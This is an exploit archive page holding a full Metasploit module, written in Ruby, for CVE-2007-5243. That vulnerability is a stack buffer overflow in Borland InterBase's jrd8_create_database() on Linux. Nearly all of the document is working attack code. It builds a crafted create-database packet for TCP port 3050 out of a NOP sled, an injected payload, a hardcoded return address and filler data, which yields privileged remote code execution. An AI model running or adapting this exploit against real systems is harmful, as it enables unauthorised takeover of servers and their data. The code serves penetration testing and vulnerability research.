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Borland InterBase jrd8_create_database() Buffer Overflow

Borland InterBase jrd8_create_database() Buffer Overflow
Posted Oct 27, 2009
Authored by Adriano Lima | Site risesecurity.org

This Metasploit module exploits a stack overflow in Borland InterBase by sending a specially crafted create request.

tags | exploit, overflow
advisories | CVE-2007-5243
SHA-256 | f3b72345c222e40c6aaf748b6c4f32d67304fddd295a20f57eef48e39ed8ec37

Borland InterBase jrd8_create_database() Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Borland InterBase jrd8_create_database() Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Borland InterBase
by sending a specially crafted create request.
},
'Version' => '$Revision$',
'Author' =>
[
'ramon',
'Adriano Lima <adriano@risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38606' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 128,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
},
'Targets' =>
[
# 0x0804cbe4 pop esi; pop ebp; ret
[
'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
{ 'Ret' => 0x0804cbe4 }
],
],
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(3050)
],
self.class
)

end

def exploit

connect

# Create database
op_create = 20

length = 544
remainder = length.remainder(4)
padding = 0

if remainder > 0
padding = (4 - remainder)
end

buf = ''

# Operation/packet type
buf << [op_create].pack('N')

# Id
buf << [0].pack('N')

# Length
buf << [length].pack('N')

# It will return into this nop block
buf << make_nops(length - payload.encoded.length - 4)

# Payload
buf << payload.encoded

# Target
buf << [target.ret].pack('V')

# Padding
buf << "\x00" * padding

# Database parameter block

# Length
buf << [1024 * 32].pack('N')

# Random alpha data
buf << rand_text_alpha(1024 * 32)

sock.put(buf)

handler

end

end

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